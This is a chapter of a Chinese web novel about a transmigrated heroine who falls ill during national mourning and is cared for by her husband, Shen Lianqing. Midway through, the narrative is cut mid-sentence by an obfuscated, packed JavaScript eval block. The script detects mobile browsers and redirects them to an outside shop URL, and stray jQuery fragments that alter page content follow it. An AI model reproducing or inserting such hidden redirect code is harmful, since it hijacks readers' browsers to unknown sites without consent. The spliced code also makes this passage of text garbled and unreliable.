18. 第十八章

作品:《红眼青眉

    “朝中大变,昨日午后,老君主去了。几个哥哥连夜被召入宫中,舅舅府中已不适合我们再待下去了,这才走的,和你有什么干系?”


    她只听懂了最后一句话“和你有什么干系”——也就是说,和她没什么干系。


    她正想轻快地笑一笑,又反应过来“去了”不会是“死了”的意思吧?那么,现在笑肯定是不妥的,可是哭也不合适。她只好,神色凝重,垂下头摇了摇,以表哀思。


    沈怜青也摇了摇头,但显然是在表达对她的无语。


    “你,为何如此紧张?莫不是干了什么坏事?”


    “没有。”


    “哦。你昨日和墨语出去那么久,果真是为了我买那个红檀笔架?”


    “笔……笔架?喜欢吗?”


    “还好。谢谢。”


    该说沈怜青还挺有礼貌的吗。


    她当时还不明白,墨语已经乘上马,为什么又返回去跟老板买了那个价比黄金的笔架,现在才恍然大悟。她心想,除了还他笔架的钱,等回到郡王府还要给他发点奖金。好像,她那陪嫁里,有一箱子,装的都是像钱票一样的东西。


    沈怜青见她嘴硬,不再多问。


    一行人在郡王府门前停下车马,蔺小将下了轿,见檐上白帘已经挂好。福清嬷嬷手臂戴孝在门前,目光恳切,仿佛已经等了一会儿了。等蔺小将和沈怜青走到门前,她吩咐着站在她后边的姑娘,忙活起来,而蔺小将手臂的孝布,是由小栗子戴上的。


    小栗子为她系上孝布时,在她耳边低语道:“太委屈小姐了。”


    她大概懂小栗子什么意思。


    这满府的红飘带还没飘褪色呢,挂上白的了。虽然是“国丧”,但再看那地上,满地的红炮仗碎还没完全扫干净……


    只是,小栗子倒懂事,再抬起脸,便唤道:“夫人,一切已备好了。”


    她由小栗子带着走。小栗子留守这两日,好像已把郡王府摸得门儿清,先是把她带到了偏房,房中正焚香,她在那个还是不太习惯的浴桶中洗了个澡,换了一身素净的衣服,戴了孝带,收拾完正要出门,路过那面螺钿插屏镜,她无意与镜中的人打了个照面。


    那身海蓝色的大袖宽袍,将镜中的林颜君肤色白皙、身形修长的两个隐藏优点无一遗漏地展示了出来。腰身上的素白孝带,恰似点缀,轻轻一系泛起的褶皱,如海天一色中偶然翻起的云卷云舒——


    这么些乍一听能唬人的话自然不是她想出来的。如果要接着看后面如何排比造作,得等几年后逛市井,见到个说书的摊儿,在那逗留会儿,才会听全。


    当下,她在林颜君的身体里,只能心中小鹿乱撞似的大喊:“潜力股!潜力股!林颜君是潜力股啊!”


    而且,除了她自己,郡王府上下,包括小栗子,顿时——


    她又将那些五彩斑斓,简直能在怪力乱神的故事中侵占一席之地的首饰全部摘去后,再出现在郡王府院中,等候着她的那一行人,顿时觉得天晴日暖。即便满地的积雪还未清扫干净,残雪折射的金黄光晕,也只是柔软地掠过她低垂的长睫。


    但她现在没什么心思拍什么雪景颓丧写真。


    要发挥潜力还得靠奔国丧,这实在让她倍感郁闷。第一天这么穿,觉得新奇,但第二天就看腻了,第三天换了一身白,但行程还是一样,焚香净身完,就到佛堂里祈福听经。


    那些经文,她一听就要睡。但沈怜青跪在另一个蒲团上,她偷摸睁开眼,瞧了一眼,发现沈怜青不仅没打盹儿,还能嘴唇轻启,接连三日,跟着念念有词。


    终于到第四天,她忽然大病一场,暂且逃脱一跪。


    倒换小栗子跪了,那时,她跪在幔帐外,握着里边人的手,低泣道:“回门的日子就这样被拖下去,您又忽然病得如此厉害……”


    “啊……我病得很厉害吗?”


    她一听,真慌了。咳嗽,流鼻涕,发烧——这难道不只是个小感冒吗!


    “郡爷派墨语去请医师了。您,您切勿忧心……”


    让我别忧心,那你倒是别在我床头哭啊!她心中呐喊:“让我眼一闭腿一蹬穿回去算了!”只是眼睛没闭上,嗓子一堵,她张口便咳个不停,咳完了,她伸手去接,幸好手心没红。


    她扯住的那片幔帐,忽然,有另一只手停留在上面。


    不是小栗子的手。


    “你好些了吗?”


    是沈怜青。他站在幔帐外,道:“后半夜你浑身便烫得犹如火石。今早,还不吃饭?”


    “吃不下。”


    现在她真没想节食减肥的事儿,的确是没胃口。早上喝了点水都差点吞不下去。


    “小栗子呢?”


    她见他不说话了,便问道:“小栗子去哪儿了?帮我拿发油来。”


    “拿发油做什么?”


    “梳头发,去祠堂。”


    “你在想些什么?”


    沈怜青忽地高声,呵斥道:“今日不用去了!”


    不去就不去,发什么火?到底是谁发烧?她心中暗骂过后,忽然又想起来,福清嬷嬷昨天千叮咛万嘱咐:“诵经要七日,一日都少不得。尤其是郡王府这等生在天子眼下的世爵人家。”


    虽然她并不在乎这些。但那枚家印在乎啊。这就跟从前骗她拿控股的那个小明星似的,拿点蝇头小利包裹上写着“责任心”的糖衣,骗她吃下去。她还偏偏受用。


    福清嬷嬷是如何眼泪汪汪地,握着她的手注道:“郡王府的荣辱,都在您手中的这枚家印了。”


    她为什么就记得那么清楚啊!


    上了十年班没请假,没早退的报应终于在此刻降临了。蔺小将就这样不受控制地,掀开了幔帐,下了床,四肢无力,仍穿上鞋子。仿佛完全看不见站在床沿边,眉头紧蹙的沈怜青。


    “上去。”


    不想回话。


    “上去。”


    还是懒得搭理他。


    “上,去——”


    眼皮还没来得及抬上去,她感到她整个身体,被打横着抱了起来,握着她腰身和臂膀的那双手有着非常熟悉的温度,是新婚当天就感受过的——


    沈怜青的手。


    “你做什么?咳,咳……”


    “医师即刻就到。”


    她被抱着回到幔帐里,身体刚碰着床榻,她便伸出手还要挣扎一番,只是那层层叠叠的纱幔好像上了锁,她怎么拨也拨不开。


    终于一点儿力气也没有了。


    最后能抓住的东西,只有沈怜青游走的幔帐外的一抹袍边,最后能听见的声音,像是沈怜青由近向远的脚步声。然后,是关门,又开门的声音。


    要她养病的沈怜青出去了。给她看病的人进来了。


    她感到头仿佛灌了铅,倒下去怎么也抬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335751|198438||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不起来,她感到有人把她的手扯着玩,但不知道是谁,有人在她床边又低低啜泣,她知道那是小栗子。还有人,在那一层又一层的纱幔上来回走动着,翻来覆去说差不多的话。


    只有一句话值得一记:“夫人,没有什么事。”


    她想睡一会儿,但实在睡不着,她想把眼睛睁开,怎么也睁不开。只好等着纱幔上的重重人影全部消失,纱幔外的声响再也听不见了。斜斜的金色日影黯然退场,飘动的红色烛火重新拉上帷幕,她知道——沈怜青又回来了。


    她没心思再配合这副身体诗兴大发。


    用尽全力扯了一片纱幔,发出动静,她言简意赅,道:“沈怜青。水。饭。”


    镜台前的笔架好像响了一下,有支笔掉了下来。


    沈怜青捡起它,沉默了一会儿,脚步声转回,开门之前,不忘回她的话道:“好。”


    说完,他出去了。


    回来的时候,他带了小栗子,还有她要的两样东西:水,饭。


    只是,好像太多了。


    小栗子将幔帐挂起,那时候,她看见了幔帐外的世界正中,是一张不知道从哪儿搬来的长条桌子,桌子上摆满了各式样的餐盘。她挽着小栗子的手,披上外袍,下了床,走到那桌旁,发现那餐盘里几乎没有一样,是她现在能吃的。


    在郡王府住的这几天,她大概也知道这里的厨房,是多么华而不实。


    但是——


    咳到声音都没了的人吃什么爆炒大杂烩啊!


    这么一个明月似的黄瓷盘,装的东西,不能说色香味全,只能说乱七八糟。据她肉眼所见,表面一层,有鸡丝,笋丝,香菇莲子,虾米葱白,铺底的,那是……生姜丝?还有,压轴的,拿双筷子挑一个晚上好像也挑不完的辣椒丝。


    沈怜青见她坐在桌前,好似万念俱灰,紧握着筷子,只差没神游天外。


    他却终于爽朗一笑,忽地道:“小栗子,把那餐盒拿来给你家小姐拿来吧。”


    望着小栗子屁颠屁颠的步伐,沈怜青那贱贱嗖嗖的笑颜,等待不多时,她就看见小栗子提着一个普普通通的两层圆餐盒进来了。


    打开一看,里面的东西更普通,但就是她想要的:水,白粥。


    碗装八分,白粥正中铺了一颗梅子。她拿筷子戳开梅子,轻轻搅动,平淡到过了头的白粥,有那么一丝甜味辅佐,竟比她这些日子来吃过的所有东西都要美味。


    虽然她这些日子几乎没吃东西。


    她喝了几口停下来,眉目含笑,神色转变如此之快,沈怜青怕她喜极而泣,只好不再揶揄她,即刻派人将那一桌子“好东西”撤了下去。


    等她果腹之后,端着药碗,病气未散,看起来安静,又可怜——好像不那么令人烦恼了。


    看着看着,沈怜青忽地开口,莫名解释道:“方才那些菜,本就不是为了你准备的。我只是想让你这个握着家印的人看看,我今日准备的待客宴,如何?”


    “宫中来的这位大使,是关外人士,爱吃些辛辣的。”


    良久,没等到她回话。好像她满不在乎一样。


    他有些难堪,一拂袖,冷笑一声道:“只希望我自己进宫,宫中饮食,也能有选择罢了。”


    她喝完了药,最后一口卡嗓子眼了,苦得要命了。


    张嘴想吐出来。最终,只吐出一句:“你,你要自宫啊?”